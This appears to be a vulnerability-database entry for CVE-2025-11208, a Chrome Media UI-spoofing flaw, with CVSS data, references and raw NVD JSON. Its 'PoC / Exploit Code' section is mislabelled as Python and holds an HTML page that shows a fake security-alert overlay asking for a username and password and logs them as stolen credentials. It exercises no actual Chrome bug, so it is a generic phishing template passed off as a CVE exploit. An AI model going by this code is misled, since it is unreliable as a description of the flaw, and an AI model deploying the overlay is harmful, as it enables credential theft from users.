CVE-2025-11208

Description

Inappropriate implementation in Media in Google Chrome prior to 141.0.7390.54 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 141.0.7390.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-11208 UI Spoofing PoC
// This PoC demonstrates UI spoofing through Media component manipulation

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11208 PoC</title>
    <style>
        .overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 9999;
        }
        .fake-ui {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            border: 2px solid #ccc;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            z-index: 10000;
        }
        .hidden-video {
            position: absolute;
            opacity: 0;
            pointer-events: auto;
        }
    </style>
</head>
<body>
    <h1>Media Component UI Spoofing Demo</h1>
    <p>Interact with the page to trigger the vulnerability</p>
    
    <video id="media" class="hidden-video" width="1" height="1">
        <source src="data:,">
    </video>
    
    <div id="overlay" class="overlay"></div>
    
    <div id="fake-ui" class="fake-ui" style="display:none;">
        <h3>🔐 Security Alert</h3>
        <p>Please re-enter your credentials:</p>
        <input type="text" placeholder="Username"><br><br>
        <input type="password" placeholder="Password"><br><br>
        <button onclick="collectData()">Submit</button>
    </div>

    <script>
        const media = document.getElementById('media');
        const overlay = document.getElementById('overlay');
        const fakeUI = document.getElementById('fake-ui');
        
        // Simulate media gesture handling vulnerability
        function triggerVulnerability() {
            // Exploit the Media component UI handling
            media.addEventListener('play', function() {
                // Manipulate DOM to overlay fake UI
                overlay.style.display = 'block';
                fakeUI.style.display = 'block';
                
                // This simulates the UI spoofing where attacker
                // can intercept user gestures intended for media controls
                overlay.addEventListener('click', function(e) {
                    // Trap user interaction
                    e.stopPropagation();
                });
            });
            
            // Trigger the vulnerability
            media.play().catch(() => {});
        }
        
        // User interaction simulation
        document.body.addEventListener('mousedown', triggerVulnerability);
        document.body.addEventListener('touchstart', triggerVulnerability);
        
        function collectData() {
            const inputs = document.querySelectorAll('#fake-ui input');
            console.log('Stolen credentials:', inputs[0].value, inputs[1].value);
            alert('Data collected (for demonstration only)');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11208
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11208
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11208/
[4] VulDB https://vuldb.com/cve/CVE-2025-11208
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html
[6] https://issues.chromium.org/issues/397878997

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11208", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:38.740", "lastModified": "2025-11-13T15:30:30.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Media in Google Chrome prior to 141.0.7390.54 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/397878997", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}